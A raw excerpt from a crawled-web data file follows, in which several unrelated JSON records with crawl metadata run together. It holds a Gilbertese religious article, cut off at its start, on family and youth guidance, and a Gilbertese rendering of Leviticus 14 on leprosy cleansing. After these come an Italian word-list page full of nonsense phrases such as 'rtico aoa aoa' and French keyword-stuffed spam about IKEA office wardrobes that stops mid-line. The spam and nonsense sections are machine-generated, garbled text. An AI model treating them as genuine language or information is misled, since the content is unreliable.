tienture, ao a rangi n anaaki nanora ao ti mimi n noran nanoia ni kan anga ngaiia. Ti rangi ni kakatonga n aroia ni moanibwaia aia beku ae tabu nakoni bwaai ni kabane i aoni maiuia. Ma ti kona naba n noria bwa e kainnanoaki riki te aki tabeitera. N te aro raa?\n23 N taai akekei ao a taneiai taari mwaane ni butimwaea mwiokoaia n te mwakuri ni minita ke n te mwakuri ni mwamwananga, ae kona ni kararoaia mani mwengaia i nanon namwakaina aika bati. N tabetai, e a riao riki kaungaan te aki mare i nanon ara boki, nakon are e katauaki n te Baibara, ao e karako taekinan aroni kakorakoraan te tekateka n taanga irouia Kristian. Anne naba ae riki i buakoia taan rimwini Kristo ni boong aikai? Tiaki!\nNi boong aikai ao a na aki riki taiani mwioko n te ekaretia bwa karawawataan te utu\n24. E kangaa Kristo ni buokiia ana aomata aika kakaonimaki ni karekea te iango ae riai ni kaineti ma te tekateka n taanga ao te utu?\n24 Ni boong aikai ao a na aki riki taiani mwioko n te ekaretia bwa karawawataan te utu. (Wareka 1 Timoteo 5:8.) Irarikin anne, e taraia raoi Kristo bwa a na teimatoa taan rimwina aika kakaonimaki i aon te aba ni karerekea te ibuobuoki ae teimatoa n raanga, ni kaineti ma reirei ni kairiri man te Baibara ibukin te tekateka n taanga ao te maiu n utu. (IEbe. 3:14, 15) N 1978 ao e a kona n noraki te boki ae Making Your Family Life Happy. E boreetiaki te boki ae Te Kawai Ibukin Karekean te Kakukurei n te Utu, 18 tabun te ririki imwina. Irarikin anne, a bati kaongora n Te Taua-n-Tantani aika katauraoaki ibukini buokaia taanga ni mare bwa a na maiuakini booto n reirei man te Baibara i marenaia.\n25-27. A kangaa n tia n rangi ni mutiakinaki kainnanoia ataei aika kakaokoro aia ririki ni maiu ni waakinakon taian ririki?\n25 Ao tera aroia rooro ake a ataei riki? Ni waakinakon taian ririki ao e a rikirake riki mutiakinani kainnanoia. E a maan ana botaki Iehova ni katauraoi baika raraoi ibukia ataei aika kakaokoro aia ririki ni maiu, ma te ibuobuoki ngkoa are ai aron te timtim n ran e a riki bwa te karaanga ae raanganako. N te katoto, man 1919 nakon 1921 ao e a kona n noraki te \"Juvenile Bible Study\" n The Golden Age. Imwin anne ao e a kaoti te boroutia ae The Golden Age ABC n 1920 ao te boki ae Children n 1941. N 1970 tabun ao a boreetiaki booki aika Listening to the Great Teacher, Your Youth—Getting the Best out of It, ao Karaki Man te Baibara. N 1982 ao e a katauraoaki kanoan te Awake! ae rereitaki ae \"Young People Ask\" are e a riki bwa te boki ae Questions Young People Ask—Answers That Work, are boreetiaki n 1989.\n26 Ni boong aikai ao a a reke iroura uoua mwakoron te boki ae te Young People Ask aika kaboouaki, ao e teimatoa n rereitaki kanoana n ara atureti ae jw.org. Iai naba iroura te boki ae Learn From the Great Teacher. A bati bwaai n ibuobuoki n ara atureti ibukia ake a ataei riki, n ikotaki ma kaati aika taekaia aomata aika taekinaki n te Baibara, bwaai n reirei ibukia ataei aika ikawai riki ao aika uarereke naba, bwaai ni kamarau iango, birim, ao korobanna aika boboto i aoni karaki n te Baibara, n ikotaki naba ma reirei n te Baibara ibukia ataei aika tenua aia ririki rikaaki. E teretere bwa e aki bitaki ana iango Kristo ibukia ataei man te tai are e weteiia iai ma ni mwanokaiia, n te moan tienture. (Mareko 10:13-16) E tangiriia ataei aika mena i buakora bwa a na namakinna ae a tangiraki ao ni kanuaaki raoi ni kaineti ma te onimaki.\n27 E tangiriia naba ataei Iesu bwa a na kamanoaki mani baika karuanikai. E a rangi ni korakora ngkai karaoani mwakuri n iowawa nakoia ataei n te aonnaba aei, ae e a kerikaaki iai bwainakin te aroaro ni maiu ae riai. Ngaia are e a tia ni boreetiaki te bwai n ibuobuoki ae mataata, ao e kaineti raoi ma te kangaanga ibukini buokaia kaaro bwa a na kamanoia natiia mani mwakuri aika bubuaka. *\n28. (a) Tera ae kainnanoaki ngkana ti na uataboa karaoan te taromauri ae itiaki, n aron ae kaikonakaki n te tembora are n ana miitara Etekiera? (b) Tera ae ko motinnanoia bwa ko na karaoia?\n28 E aki ngkanne kakukurei iangoan aroni Kristo n teimatoa ni katamaroaia taan rimwina, ni kataneiaia bwa a na rabakau ni karinerine, ni maiuakina ae riai, ao ni kakabwaiaaki man ana kaetieti Iehova aika kakawaki ibukin te aroaro ni maiu ae riai? Manga iangoa te tembora are e noria Etekiera n te miitara. Uringi kawai n rin ake a ririeta. Bon tiaki te tabo ni koaua te tembora anne bwa bon te tembora n taamnei. Ma ti iangoia bwa bon te bwai ni koaua? Ti rinnako iai, tiaki tii ngkana ti nakon te Tabo n Taromauri, ke ngkana ti kauka te Baibara, ke ngkana ti karaoa te mwakuri ni minita. Mwakuri aikai boni bwaai aika kona n noraki. E kona ni karaoi baikanne te aomata ae baka n raoiroi e ngae ngke e bon aki rin n ana tembora Iehova. Ma ngkana ti karaoi baikai ao ni maiuakin naba ana kaetieti Iehova aika kakawaki ibukin te aroaro ni maiu ae riai, ao n uataboa te taromauri ae itiaki ma nanora ni koaua, ti a rin iai ao ni beku n taabo aika moan te tabu aikai, ae taekan te babaire ibukin taromaurian Iehova ae te Atua n te aro ae itiaki! Ti bia teimatoa n taua mwiokoara ae rangi ni kakawaki aei. Ti bia karaoa naba ara kabanea ni konaa ni kaotiota itiakin Iehova, n arora ni kawakin ana kaetieti aika raraoi!\n^ bar. 2 N 1932 ao e moani kaotaki n te boki ae te Vindication Volume 2, bwa taetae ni burabeti n te Baibara ake a kaineti ma kaokaia ana aomata te Atua nako abaia, a na kakororaoaki n ara bong aikai, ao a aki kaineti ma te Iteraera n rabwata, ma bon te Iteraera n taamnei. E kaotaki raoi n taetae ni burabeti akanne taekani kaokan te taromauri ae itiaki. E kabwarabwaraaki n Te Taua-n-Tantani ae bwaini Maati 1, 1999, bwa te tembora are n ana miitara Etekiera bon te taetae ni burabeti ibukini kanakoraoani bwaai, ao iai nanona ae kakawaki ae irekereke ma te onimaki ni kabaneani boong.\n^ bar. 6 E katabuakaki n te taetae ni bau bwa a na tiku n tii ngaiia te mwaane ao te aine n te ruu, ma tii ngkana e ukinako te mataroa, ke tao a a tia ni mare, ke ana utu ni kaan. I nanon tabeua te ririki n nako, ao e wawarekaki te taetae ni bau aei ni katoabong bwa kanoan te kaetieti ibukin te Taromauri n te Ingabong n te Betaera.\n^ bar. 13 Kabonganaan te baakee, e nanonaki iai mokonakina, bwaronriaana, ke unikakina ibukini kabonganaana aikai.\n^ bar. 27 N te katoto, nora mwakoro 32 n te boki ae Learn From the Great Teacher; nora naba iteraniba 3-11 n te Awake! ae bwain Okitobwa 2007.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/standards\/te-aroaro-ni-maiu-ae-riai\/","date":"2018-03-20T06:37:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647299.37\/warc\/CC-MAIN-20180320052712-20180320072712-00716.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":4679,"character_repetition_ratio":0.069,"word_repetition_ratio":0.012,"special_characters_ratio":0.227,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"14 E reitia ni kangai Iehova nakoni Mote: 2 \"E na riki aei bwa te tua ibukin te aomata ae rebera n te bong ae e karaoa iai kaitiakana, n te tai are e riai ni kairaki iai nakon te ibonga.*+ 3 E na nako tinanikun te kaembwa te ibonga ao e na tuoa. Ngkana e a toki reberan te aomata ane rebera anne, 4 e na tua te ibonga nakon te aomata arei bwa e na uotii mannikiba aika uoman aika maiu aika itiaki, ao mwaangan te kai ae te tiira, ao te kunnikai ae uraroo,* ao te utoba,* ibukini kaitiakana.+ 5 E na tua te ibonga bwa e na kamateaki te mannikiba temanna i nanon te bwaata ae te kaatibu ae kanoana te ran man te koburake n ran. 6 Ma e riai n anaa te mannikiba are maiu, n ikotaki ma mwaangan te kai are te tiira, ao te kunnikai are uraroo, ao te utoba, ao e na kaai ni kateboi ma te mannikiba are maiu i nanon raraan te mannikiba are kamateaki i etan te ran man te koburake n ran. 7 Ao e na katimtimwa te raraa itiua te tai i aon te aomata ibukini kaitiakana man te rebera, ao e na atongnga bwa e a itiaki, ao e na kakibanakoa te mannikiba are maiu nakon te tawaana.+ 8 \"E riai ni kaitiakii kunnikaina te aomata are kaitiakia ao e na imana rabwatana ni kabane, ao e na tebotebo n te ran ao e na itiaki. E a kona n nakon te kaembwa imwina, ma e na mamaeka i tinanikun ana umwanrianna i nanon itibong. 9 E riai n imana irannatuna ni kabane ao buaina ao ana ari n te kaitiua ni bong. Imwin imanakin rabwatana ni kabane, ao e na kaitiakii kunnikaina ao e na tebotebo n te ran, ao e na itiaki. 10 \"N te kawanibong ao e na anai tiibu mwaane aika uoman aika ataei aika marurung raoi, temanna te tiibutetei ae te aine ae marurung raoi+ ae tuai n ririki, tenua katebwinani mwakoron te eba* ni burawa ae mte ae renganaki ma te oera bwa te karea ae te amwarake,+ ao teuana te roka* ni bwaa,+ 11 ao te ibonga are atonga te aomata are e na kaitiakaki bwa e a itiaki, e na kaota te aomata anne n ikotaki ma taiani karea i matan Iehova i rarikini mataroan te umwa ni botaki. 12 E na kaira temanna te tiibu mwaane ae ataei te ibonga ao e na anga n ikotaki ma te roka ni bwaa bwa te karea ni kabooa mwin te bure,+ ao e na katiotioi bwa te karea ni katiotioaki i matan Iehova.+ 13 Ao e na kamatea te tiibu mwaane ae ataei n te tabo are e kakamateaki iai te karea ni kabwarabure ao te karea ni kabuekaki,+ n te tabo ae tabu, ibukina bwa bon tibwangan te ibonga te karea ni kabooa mwin te bure n ai aron te karea ni kabwarabure.+ Bon te bwai ae moan te tabu te baei.+ 14 \"E na anaa ngkanne teutana raraan te karea ni kabooa mwin te bure te ibonga, ao e na kabira iai aon reben taningan te aomata are e na kaitiakaki are te atai, ao aoni waebuani baina are te atai ao aoni waebuani waena are te atai. 15 Ao e na anaa teutana te roka ni bwaa te ibonga+ ao e na kabwaroa bon i nanoni baina are te maing. 16 E na kateboa ngkanne tabonibaina are te atai te ibonga n te bwaa are i nanoni baina are te maing, ao e na katimtimwa teutana man te bwaa anne n tabonibaina itiua te tai i matan Iehova. 17 Ao te ibonga e na kabira aon reben taningan te aomata are te atai ibukini kaitiakana, man nikiran te bwaa teutana are i nanoni baina, ao aoni waebuani baina are te atai ao aoni waebuani waena are te atai, i aon raraan te karea ni kabooa mwin te bure. 18 Ao te ibonga e na kaaki nikiran te bwaa are i nanoni baina i aon atun te aomata are e na kaitiakaki, ao e na karaoia ibukini karekeani kabwaraan ana bure te aomata anne i matan Iehova.+ 19 \"E na anga te karea ni kabwarabure te ibonga+ ibukini karekeani kabwaraan ana bure te aomata are e na kaitiakaki mani kamwaraana, ao imwina e na kamatea te karea ni kabuekaki. 20 Ao e na anga te karea ni kabuekaki te ibonga ao te karea ae te amwarake+ i aon te baonikarea, ao e na karaoia te ibonga ibukini karekeani kabwaraan ana bure te aomata anne,+ ao e na itiaki.+ 21 \"Ma ngkana e maiu ni kainnano ao e aki tau ana bwai, ao e na anaa temanna te tiibu mwaane ae ataei bwa te karea ni kabooa mwin te bure ao e na riki bwa te karea ni katiotioaki, bwa e aonga ni karaoaki karekeani kabwaraan ana bure te aomata anne, n ikotaki ma teuana katebwinani mwakoron te eba* ni burawa ae mte ae renganaki ma te oera bwa te karea ae te amwarake, ao teuana te roka ni bwaa, 22 ao taobe aika uoman ke bitin aika uoman aika ataei n aron are e kona ni kabooi. E na riki are temanna bwa te karea ni kabwarabure ao are temanna bwa te karea ni kabuekaki.+ 23 N te kawanibong+ ao e na uotii baikai nakon te ibonga i rarikini mataroan te umwa ni botaki i matan Iehova ibukini karaoani kaitiakana.+ 24 \"E na kaira te tiibu mwaane ae ataei te ibonga are te karea ni kabooa mwin te bure+ ao te roka ni bwaa, ao e na katiotioi te ibonga bwa te karea ni katiotioaki i matan Iehova.+ 25 E na kamatea ngkanne te tiibu mwaane ae ataei are te karea ni kabooa mwin te bure, ao e na anaa teutana raraan te karea ni kabooa mwin te bure te ibonga, ao e na kabira iai aon reben taningan te aomata are te atai ibukini kaitiakana, ao aoni waebuani baina are te atai ao aoni waebuani waena are te atai.+ 26 E na kabwaroa teutana te bwaa te ibonga bon i nanoni baina are te maing,+ 27 ao e na katimtimwa teutana te bwaa are mena i nanoni baina are te maing itiua te tai i matan Iehova, n tabonibaina are te atai. 28 Ao e na kabira aon reben taningan te aomata are te atai ibukini kaitiakana, n teutana te bwaa are i nanoni baina, ao aoni waebuani baina are te atai ao aoni waebuani waena are te atai, i aon taabo ake e kaaki iai raraan te karea ni kabooa mwin te bure. 29 E na kabwaroa nikiran te bwaa te ibonga are i nanoni baina i aon atun te aomata are e na kaitiakaki, bwa e aonga ni karaoa karekeani kabwaraan ana bure te aomata anne i matan Iehova. 30 \"E na anga temanna mai buakoia taobe aika uoman ke temanna mai buakoia bitin aika uoman aika ataei, n aron are e kona ni kabooi te aomata are e na kaitiakaki,+ 31 temanna bwa te karea ni kabwarabure ao are temanna bwa te karea ni kabuekaki.+ E na anga taiani karea aikai n ikotaki ma te karea ae te amwarake, ao e na karaoia te ibonga ibukini karekeani kabwaraan ana bure te aomata are e na kaitiakaki i matan Iehova.+ 32 \"Aio te tua ibukin te aomata ae rebera, ma e aki tau ana bwai ni karekea ae kainnanoaki ibukini karaoani kaitiakana.\" 33 Ao e taku Iehova nakoni Mote ma Aaron: 34 \"Ngkana kam roko n te aba ae Kanaan+ ae I anganingkami bwa abami,+ ao N na kariaia rokon te aoraki ae te rebera n te auti ane i abami,+ 35 ao e riai ni kawara te ibonga te aomata are ana auti anne ao e na tuangnga ni kangai, 'Iai te bwai ae oti n oon au auti ae kaanga taraan te rebera.' 36 E na tua te ibonga bwa a na kanakoaki bwain te auti imwain rokona n tuoa te baerei, bwa e aonga n aki atongi bwaai ni kabane ake n te auti bwa a kamwara, ao imwin anne e na rin te ibonga n tuoa te auti. 37 E na tuoa te tabo are rotaki, ao ngkana a babobo ni kiriin ke n uraura oon te auti, ao taraani baikai a rinnako rinanon oon te auti, 38 e na otinako ngkanne te ibonga mani mataroan te auti ao e na kaina te auti i nanon itibong.+ 39 \"Ao e na manga oki te ibonga n te kaitiua ni bong ao e na karaoa ana tutuo, ao ngkana e rakanako te baenne n oon te auti, 40 e na tua te ibonga bwa a riai n uruakaki atibu ake a rotaki, ao ni karenakoaki i tinanikun te kaawa n te tabo are a kakarenakoaki iai baika kamwara. 41 Ao e na tua bwa e na kakaaraki raoi nanon te auti ao e riai ni kabwaroaki kabiran te oo ao te bokaboka are kaaraki ni kanakoaki, i tinanikun te kaawa n te tabo are a kakarenakoaki iai baika kamwara. 42 Ao a na karin atibu ake tabeua n te tabo are a mena iai atibu ake a koutii, ao e riai ni kabongana te bokaboka ae boou ao e na tua bwa e na kabiraki iai te auti. 43 \"Ma ngkana e a manga oki naba te baenne ao e a manga riki n te auti imwin taekakin atibu ao kaarakin te bokaboka man te auti, ao imwini manga kabirana, 44 ao e na rinnako te ibonga ao e na tuoa. Ngkana e rakanako te baenne n te auti, ao bon te rebera ae ewewe+ n te auti. E kamwara te auti anne. 45 E na tua ngkanne kabwakaan te auti, ae atibuna, kaina, kabirana ni kabane ma te bokaboka are n te auti, ao a na uotaki nako tinanikun te kaawa nakon te tabo are a kakarenakoaki iai baika kamwara.+ 46 Ma e na kamwara ni karokoa ae bong+ ane e rin n te auti anne,+ ni boong ake e kainaki iai, 47 ao e riai ni kaitiakii kunnikaina ane e wene n te auti anne ao ane e amwarake iai. 48 \"Ma ngkana e roko te ibonga ao e noria bwa e aki rakanako te baenne n te auti imwini manga kabirakina, ao e na atonga te auti anne te ibonga bwa e a itiaki, ibukina bwa e a mauna te baenne. 49 E na anai mannikiba aika uoman, mwaangan te kai ae te tiira, te kunnikai ae uraroo, ao te utoba, ibukini kaitiakan te auti anne mani kamwaraana.*+ 50 E na kamatea temanna te mannikiba i nanon te bwaata ae te kaatibu ae kanoana te ran man te koburake n ran. 51 Ao e na anaa mwaangan te kai are te tiira, te utoba, te kunnikai are uraroo, ao te mannikiba are maiu, ao e na kateboi i nanon raraan te mannikiba are kamateaki ao i nanon te ran man te koburake n ran, ao e na katimtimwa te raraa itiua te tai ni kaitaraa te auti anne.+ 52 Ao e na kaitiaka te auti mani kamwaraana,* n raraan te mannikiba, te ran man te koburake n ran, te mannikiba are maiu, mwaangan te kai ae te tiira, te utoba, ao te kunnikai ae uraroo. 53 Ao e na kakibanakoa te mannikiba are maiu nako tinanikun te kaawa n te tawaana, ao e na karaoia ibukini kaitiakan te auti man te bure, ao e na itiaki. 54 \"Anne te tua ni kaineti ma te aoraki ae te rebera, rotakin oin te ira ke te buai,+ 55 te rebera n te kunnikai+ ke n te auti,+ 56 ao ni kaineti ma te kiritibutibu, te kunnikone, ao te tango,+ 57 bwa e aonga n ataaki te bwai bwa e kamwara ke e itiaki.+ Aio te tua ibukin te aoraki ae te rebera.\"+\nTaiani Kabwarabwara Mai Nano\n^ Nora Nanon Taeka.\n^ Karanaki man te man ae uarereke ae te coccus.\n^ Nora Nanon Taeka.\n^ Ebera, \"bure.\"\n^ Ebera, \"te bure.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/14\/","date":"2018-04-21T13:44:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945222.55\/warc\/CC-MAIN-20180421125711-20180421145711-00229.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1950,"character_repetition_ratio":0.098,"word_repetition_ratio":0.104,"special_characters_ratio":0.241,"stopwords_ratio":0.508,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > R05 > rtico\nPAROLA : rtico\nLUNGHEZZA : 05\nALFAGRAMMA : ciort\nELENCO PAROLE CONTENUTE IN : rtico\ndi 02 lettere :\nrt\nti\nic\ndi 03 lettere : rti tic ico\ndi 04 lettere : tico\nALCUNE PAROLE CHE CONTENGONO : rtico\nallarticolo particolareggiate orticola disarticolato articoletto glucocorticoide corticosteroidea articolar particolareggiato nelfarticolo ditaarticolazione articoletti irticoli articolase articolene glicocorticoidi adrenocorticotropina particolareggiata articole alparticolo articoh particolarismi poliarticolare pauciarticolare monoarticolare corticosessuale endoarticolare acetilaspartico airarticolo particolarissimi bannerfinearticolo perticone particolareggiati particolarmenti aorticopolmonare particolarismo particoli glicorticoide glicocorticoide glicocorticoidea articolante quadriportico deltarticolo corticolare tarticolo\nFRASI CHE INIZIANO CON : rtico\nrtico azo ara enta ara ento ara era ara ero ara il ara ara azo\nrtico aoa aoa aoa ao ao ao ao ao ao ao nides ao rtica ao\nrtico aoa aoa ao ao ao ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass ao ao ao ao ao ao nides ao rtica\nrtico aoa aoa aoaass ao ao ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab ao ao ao ao ao nides ao rtica\nrtico aoa aoa aoaass aoab ao ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab aoac ao ao ao ao nides ao rtica\nrtico aoa aoa aoaass aoab aoac ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab aoac aoad ao ao ao nides ao rtica\nrtico aoa aoa aoaass aoab aoac aoad ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica\nrtico aoa aoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica ao rtico\nrtico stelle del del polo settentrionale acca che il fusto grosso carnoso come\nrtico aoa aoa aoaass aoab aoab aoac ao ao ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoab aoac aoad ao ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoab aoac aoad aoaff ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoac aoac aoad ao ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoac aoac aoad aoaff ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoac aoad aoad aoaff ao ao nides ao rtica ao\nrtico stelle acqua acquavite alcool ra sorta usato dai iei interpretazione\nHOME > R05 > rtico\n3884072170 TI618LR\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nfirstname.lastname@example.org\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/www.centrohd.com\/dizionario\/pag\/r1\/r0500590.php","date":"2018-05-20T19:49:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863684.0\/warc\/CC-MAIN-20180520190018-20180520210018-00196.warc.gz","language":"gil","language_score":0.9805903435,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9805903434753418, \"zea_Latn_score\": 0.01711488515138626}","num_words":446,"character_repetition_ratio":0.257,"word_repetition_ratio":0.339,"special_characters_ratio":0.192,"stopwords_ratio":0.238,"flagged_words_ratio":0.0,"lang_id_score":0.967,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"armoire bureau ikea fascinant ikea armoire bureau ferm pour ordinateur recherche google bureaux et interieur de beraue meuble rangement dossier bureau ikea.\narmoire bureau ikea belle armoire de bureau ikea recyclage objet maison deco 1315670132 beraue armoire bureau angle ikea.\narmoire bureau ikea large size of office deskikea office drawers ikea desk chair double desk ikea stand armoire basse bureau ikea.\narmoire bureau ikea armoire metallique bureau ikea elegant nittorp tv unit turquoise ikea armoire metallique bureau ikea.\narmoire bureau ikea armoire bureau mactallique armoire de bureau mactallique armoire metallique bureau ikea interesting armoire metallique bureaucratic synonym meuble de bureau chez ikea.\narmoire bureau ikea hypnotisant armoire de bureau ikea pour beraue armoire rideau bureau ikea.\narmoire bureau ikea lit superpose escamotable ikea lit armoire bureau cheap beau armoire lit escamotable ikea armoire lit escamotable armoire metallique bureau ikea.\narmoire bureau ikea armoire designe armoire bureau ikea armoire de bureau ikea with contemporain bureau u00c0 domicile armoire rangement bureau ikea.\narmoire bureau ikea armoire metallique bureau ikea luxury armoire bureau ikea 100 images bureau armoire informatique armoire basse bureau ikea.\narmoire bureau ikea cool affordable dco ikea chambre fille rennes ado surprenant ikea armoire bureau restaurant with armoire bureau ikea with ikea armoire bureau armoire de bureau chez ikea.\narmoire bureau ikea large size of office deskikea computer chair desk riser ikea writing bureau ikea ikea lit mezzanine bureau armoire ikea.\narmoire bureau ikea armoire metallique bureau ikea armoire rangement bureau rangement enfant pratique ikea meuble inside meuble rangement bureau armoire metallique bureau armoire rangement bureau ikea.\narmoire bureau ikea armoire metallique bureau ikea armoire de rangement bureau etonnant rangement jouet ikea 8 armoire bureau rangement armoire metallique bureau ikea meuble de bureau chez ikea.\narmoire bureau ikea armoire metallique bureau ikea armoire metallique armoire definition pronunciation lit mezzanine bureau armoire ikea.\narmoire bureau ikea console lit bureau armoire ikea.\narmoire bureau ikea armoire bureau multimedia u strasbourg u sous ahurissant armoire ikea pax conforama dressing but with bureau multimedia ikea armoire metallique bureau ikea.\narmoire bureau ikea armoire bureau ikea inspirational table archaicfair ikea micke as vanity desk dressing table white armoire metallique bureau ikea.\narmoire bureau ikea armoire metallique bureau ikea armoire metallique bureau ikea armoire metallique bureau ikea ikea metal shelves ideas armoire metallique bureau ikea armoire metallique bureau ikea.\narmoire bureau ikea armoire rangement bureau ikea mee centre art lit bureau armoire ikea.\narmoire bureau ikea bureau dangle pour ordinateur ikea sacrie alve wengac 2 meuble rangement dossier bureau ikea.\narmoire bureau ikea bureau multimedia ikea bureau multimedia ikea bureau multimedia ikea bureaucratic discretion bureau multimedia ikea bureau of bureau multimedia ikea armoire avec bureau integre ike.\narmoire bureau ikea ordinary couleur cuisine salon air ouverte 14 armoire basse de bureau ikea meuble bas rangement bureau ikea.\narmoire bureau ikea armoire metallique bureau ikea luxury armoire bureau ikea 100 images bureau armoire informatique lit bureau armoire ikea.\narmoire bureau ikea cool armoire a porte coulissante bureau with armoire bureau ikea armoire metallique bureau ikea.\narmoire bureau ikea armoire pin massif ikea amazing armoire designe armoire penderie ikea hemnes armoire ikea hemnes blanc armoire ikea with bureau ikea noir et blanc with armoire bureau angle ikea.\narmoire bureau ikea armoire bureau ikea inspirational armoire ikea pax occasion armoire a chaussure ikea canada redmond armoire rideau bureau ikea.\narmoire bureau ikea affordable elegant design ikea chambre ado design argenteuil basse surprenant bureau ikea small bedrooms table with bureau design ikea with ikea table armoire basse bureau ikea.\narmoire bureau ikea armoire metallique bureau ikea excellent fauteuille ergonomique with meuble rangement dossier bureau ikea.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/stringads.pro\/armoire-bureau-ikea\/","date":"2018-06-18T17:21:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267860684.14\/warc\/CC-MAIN-20180618164208-20180618184208-00612.warc.gz","language":"gil","language_score":0.4251190424,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.4251190423965454, \"eus_Latn_score\": 0.11449870467185974, \"guz_Latn_score\": 0.05420369654893875, \"nij_Latn_score\": 0.04875682666897774, \"asm_Latn_score\": 0.0384024940431118, \"aby_Latn_score\": 0.025572722777724266, \"atj_Latn_score\": 0.019185176119208336, \"ons_Latn_score\": 0.01793009787797928, \"sat_Latn_score\": 0.013654516078531742}","num_words":589,"character_repetition_ratio":0.328,"word_repetition_ratio":0.06,"special_characters_ratio":0.154,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.425,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"armoire de bureau ikea armoire professionnelle bureau unique incroyable ikea bureau professionnel image de bureau design hi res wallpaper armoire de rangement bureau ikea.\narmoire de bureau ikea armoire metallique bureau ikea armoire de bureau ikea ikea meuble bureau armoire pour bureau ikea bureaucracy meuble de bureau chez ikea.\narmoire de bureau ikea bureau ikea pas cher armoire quality lit 6 canape 252 caisson bureau ikea armoire pour bureau ikea.\narmoire de bureau ikea desk with bookcase desk ikea bookcase with desk stand composition book tables minimalist officein children tables from furniture with bureau a ikea armoire de bureau porte couli.\narmoire de bureau ikea amazing charmant etagere d angle salle de bain ikea armoire de rangement bureau en with etagere d angle salle de bain ikea armoire pour bureau ikea.\narmoire de bureau ikea armoire metallique bureau ikea armoire de bureau chez ikea bureau of indian affairs purpose armoire metallique bureau ikea armoire de bureau porte coulissante ikea.\narmoire de bureau ikea couper le souffle armoire de bureau ikea modele deco salon salle a manger 15 767x1024 beraue meuble de rangement bureau ikea.\narmoire de bureau ikea armoire metallique bureau ikea ikea ps armoire mactallique ikea un passe cables en dessous du meuble armoire metallique bureau ikea armoire de bureau porte coulissante ikea.\narmoire de bureau ikea armoire bureau ikea photo ikea bureau ikea siege de bureau chaise bureau roulante chaise 800 x armoire de bureau porte coulissante ikea.\narmoire de bureau ikea armoire de bureau ikea image of armoire de bureau ikea luxury lot d armoires bureau ikea armoire de bureau ikea armoire de rangement bureau ikea.\narmoire de bureau ikea bureau rabattable ikea table gain de place ikea bureau pliable ikea awesome meuble de bureau d bureau rabattable ikea armoire basse bureau ikea.\narmoire de bureau ikea armoire de bureau mactallique armoire metallique armoire rideau bureau ikea.\narmoire de bureau ikea armoire metallique bureau ikea armoire de rangement mactallique armoire metallique bureau ikea 7 armoire de bureau armoire metallique bureau ikea armoire metallique bureau ikea.\narmoire de bureau ikea armoire de bureau ikea lovely bureaux et supports ordinateur ikea meuble pour bureau ikea.\narmoire de bureau ikea exceptionnel rangement bureau conforama mobilier maison armoire de 7 2 beraue armoire rideau bureau ikea.\narmoire de bureau ikea armoire metallique armoire basse de bureau ikea.\narmoire de bureau ikea lit superpose escamotable armoire metallique bureau ikea.\narmoire de bureau ikea armoire de bureau ikea unique bureau rabatable lit bureau ikea unique lit mural rabattable ikea meuble de rangement bureau ikea.\narmoire de bureau ikea armoire metallique bureau ikea houzz lighting sconces stock of bureau best elegant armoire definition synonym meuble de bureau chez ikea.\narmoire de bureau ikea armoire metallique bureau ikea ikea bureau rangement mobilier et rangement classement de bureau caisson mobile 3 armoire metallique bureau ikea meuble pour bureau ikea.\narmoire de bureau ikea chaise de bureau ikaca awesome ikea bureau ado perfect size bureaubelle table ikea armoire de rangement bureau ikea.\narmoire de bureau ikea armoire de bureau ikea simple affordable bureau rabattable ikea bureau rabattable ikea avignon couleur surprenant chaise armoire basse bureau ikea.\narmoire de bureau ikea mignon bureau ikea meubles de rangement meuble pour pas cher tunisie armoire but conforama design en gros la maison d bas fly beraue with armoire bureau armoire de bureau porte.\narmoire de bureau ikea armoire designe armoire bureau ikea armoire de bureau ikea with contemporain bureau u00c0 domicile armoire de bureau porte coulissante ikea.\narmoire de bureau ikea latest et bureau blanc laque ikea photo table basse plateau relevable ikea bureau angle design blanc with plateau table ikea with table langer ikea leksvik meuble de bureau 